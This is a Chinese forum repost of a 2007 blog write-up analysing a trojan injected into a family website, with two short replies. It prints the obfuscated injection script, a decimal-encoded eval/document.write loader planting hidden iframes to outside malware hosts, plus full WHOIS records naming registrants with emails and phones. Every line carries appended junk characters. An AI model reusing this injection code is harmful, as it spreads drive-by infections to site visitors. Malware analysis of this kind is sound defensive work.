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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, cV\(Z6u  
=ps3=D  
http://www.areway.cn/?p=175 YiJnh47  
}%c2u/PQ  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: O:IU|INq8  
          ai)S:2  
<script>t=’60,105,102,114,97,109,101, f*,jhJ_I  
32,115,114,99,61,104,116,116,112,58,47,47, j1Fy'os"!  
102,114,101,101,46,117,45,117,117,117,46,99, uUB,OmLN  
110,47,101,114,114,111,114,46,104,116,109, umaF}}-Q{  
32,119,105,100,116,104,61,49,48,48,32,104, Dq/_^a/1  
101,105,103,104,116,61,48,62,60,47,105,102, '- oS=OrZ  
114,97,109,101,62′; :.e`w#$7  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> |]1-ck!  
                                                                                                  9]<p  
<script>t=’60,105,102,114,97,109,101,32,115, i,r O3J n  
114,99,61,104,116,116,112,58,47,47,102,114, z#ab V1 Xi  
101,101,46,117,45,117,117,117,46,99,110,47, VCSHq&p8  
101,114,114,111,114,46,104,116,109,32,119, {F6>XuS=u  
105,100,116,104,61,49,48,48,32,104,101,105, {Fs}8\z  
103,104,116,61,48,62,60,47,105,102,114,97, 48hu=,)81*  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); =iW!Mq  
document.write(t);</script> Ebw1 %W KC  
                                                                                                  $N'AZY]4]  
<html xmlns=” ]-QY, k  
http://www.w3.org/1999/xhtml ,pM~Phmp  
“> Zyt,D|eWj  
<head> HY0q!.qog  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> #tg,%*.s  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> >Akrbmh5  
<title>首页 - 爱生活家庭网 UCG8=+t5T  
                                                                                                                                                    '3TwrY?-  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 H .*:+  
转换字符串后的大概内容是(谁点击后果自付): 6i|5`ZO  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… x)N$.7'9OJ  
                                                                                                                                  )9I>y2WU~  
查询玉米u-uuu.cn的详细信息: i8iv{e2  
Domain Name: u-uuu.cn _1Iy/T@1  
ROID: 20070901s10001s64972306-cn " !F)K  
Domain Status: ok \UA\0p  
Registrant Organization: 王雷 'w3BSaJi  
Registrant Name: 王雷 $0$'co"  
Administrative Email: czlovexs@126.com Yv<' QC  
Sponsoring Registrar: 北京万网志成科技有限公司 ]L+YnZ?6  
Name Server:ns.yovole.com PP)iw@9j  
Name Server:ns1.yovole.com QK%Nt  
Registration Date: 2007-09-01 17:54 5$f vI#NO<  
Expiration Date: 2008-09-01 17:54 Uc%n{ a-a  
最后PING了一下地址 都没有什么…. %IrR+f+H  
                                                                                                eRU0gvgLu"  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. zx` %)r  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> <Hd8Jd4f  
<script language=”javascript” src=” vUm#^/#I  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 2-!OflkoM0  
> .c__<I<G<  
这个玉米应该有可能是木马作者的: E Q 'L"  
foafau.info的详细信息: )4:K@  
Access to INFO WHOIS information is provided to assist persons in qTSyy=  
determining the contents of a domain name registration record in the ~tK4C|  
Afilias registry database. The data in this record is provided by Hdvtgss!  
Afilias Limited for informational purposes only, and Afilias does not HYcLXhvgu  
guarantee its accuracy.  This service is intended only for query-based G>Fk )  
access. You agree that you will use this data only for lawful purposes \WS2g"(  
and that, under no circumstances will you use this data to: (a) allow, }L mhM  
enable, or otherwise support the transmission by e-mail, telephone, or ffoL]u\  
facsimile of mass unsolicited, commercial advertising or solicitations <A|X4;  
to entities other than the data recipient’s own existing customers; or YnM&t ;TX  
(b) enable high volume, automated, electronic processes that send w-iu/|}  
queries or data to the systems of Registry Operator, a Registrar, or < z':_,  
Afilias except as reasonably necessary to register domain names or V"Cx5#\7C  
modify existing registrations. All rights reserved. Afilias reserves kY>jp@w V  
the right to modify these terms at any time. By submitting this query, mzw`{Oy>L  
you agree to abide by this policy. e&~vO| 3w%  
Domain ID:D22418703-LRMS LGnb"ZN  
Domain Name:FOAFAU.INFO )/HbmtXqI  
Created On:20-Nov-2007 16:05:42 UTC KLb"_1z  
Last Updated On:20-Nov-2007 16:05:44 UTC MWdev.m:Z  
Expiration Date:20-Nov-2008 16:05:42 UTC L& =a(  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Nq]8p =e  
Status:CLIENT DELETE PROHIBITED o;'E("!<Z  
Status:CLIENT RENEW PROHIBITED S]!s)q-- z  
Status:CLIENT TRANSFER PROHIBITED (=A61]yB  
Status:CLIENT UPDATE PROHIBITED grD[7;1~:)  
Status:TRANSFER PROHIBITED TF]bmM})0  
Registrant ID:GODA-040110615 f( M$m,d  
Registrant Name:liu hong l5h+:^#M5c  
Registrant Organization: X,5}i5'!  
Registrant Street1:beijing /x%h@Cn!  
Registrant Street2: %MG{KG=&o  
Registrant Street3: /q| r!+  
Registrant City:beijing `wI$  
Registrant State/Province: jej.!f:H  
Registrant Postal Code:100000 ~[8n+p+&X  
Registrant Country:CN rR Kbs@1M  
Registrant Phone:+86.860108888777 q+iG:B/Z  
Registrant Phone Ext.: %G0J]QY{(x  
Registrant FAX: ;R5@]Hg6q  
Registrant FAX Ext.: ~7p!t%;$  
Registrant Email:bbbshiji@163.com G)|Xj70  
Admin ID:GODA-240110615 87!D@Xn  
Admin Name:liu hong ;X_bDiG$  
Admin Organization: I+oe{#:.  
Admin Street1:beijing [8C|v61Y  
Admin Street2: vHJOpQmt~  
Admin Street3: IRhi1{K$"  
Admin City:beijing * 'eE[/K  
Admin State/Province: Clz. p  
Admin Postal Code:100000 is~"yE7  
Admin Country:CN #|PPkg%v<  
Admin Phone:+86.860108888777 7MWd(n-  
Admin Phone Ext.: J.E Bt3  
Admin FAX: G]]"J c  
Admin FAX Ext.: n!aA<  
Admin Email:bbbshiji@163.com P"(VRc6x  
Billing ID:GODA-340110615 (@DqKB  
Billing Name:liu hong !S.O~Kq  
Billing Organization: ,(u-q]8   
Billing Street1:beijing ]?< wUd  
Billing Street2: U g:  
Billing Street3: *S xDwN  
Billing City:beijing awXK9}.  
Billing State/Province: +3yG8  
Billing Postal Code:100000 L@5sY0 M  
Billing Country:CN }SfS\b{|~  
Billing Phone:+86.860108888777 A%[e<vj9  
Billing Phone Ext.: reQr=OAez  
Billing FAX: -F. c<@*E  
Billing FAX Ext.: J&2 J6Eq  
Billing Email:bbbshiji@163.com  \gsJ1@  
Tech ID:GODA-140110615 bO i-QD  
Tech Name:liu hong zG0]!A  
Tech Organization: a}e GB +  
Tech Street1:beijing F50l->F2&  
Tech Street2: vp32}ze D  
Tech Street3: vjL +fH<0:  
Tech City:beijing 6"Ze%:AZZ  
Tech State/Province: F9} zt 9  
Tech Postal Code:100000 lw]uH<v  
Tech Country:CN /Nc)bF%gX  
Tech Phone:+86.860108888777 h;+{0a  
Tech Phone Ext.: iQJa6QF&:  
Tech FAX: #a`D6;  
Tech FAX Ext.: )/t&a$[  
Tech Email:bbbshiji@163.com (*M*muk  
Name Server:NS27.DOMAINCONTROL.COM .FN;3HU  
Name Server:NS28.DOMAINCONTROL.COM mtg=v@~  
Name Server: $@D*/@  
Name Server: L6?~<#-m\M  
Name Server: 7|HIl=  
Name Server: _Sg"|g  
Name Server: gSa!zQN6  
Name Server: {/FdrS  
Name Server: D6dliU?k  
Name Server: Z2U6<4?1%  
Name Server: upLjkQ)_  
Name Server: XU`ly3!  
Name Server: \#h{bnx  
                                                                                                          PNo9.-@G  
接着下载每个文件里面的代码: ^e]O-,UBk  
一步一步看.. qeW.~B!B  
csd9[=HW/Q  
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)Q 5 x%  
dWx@<(`OC  
v8YF+N  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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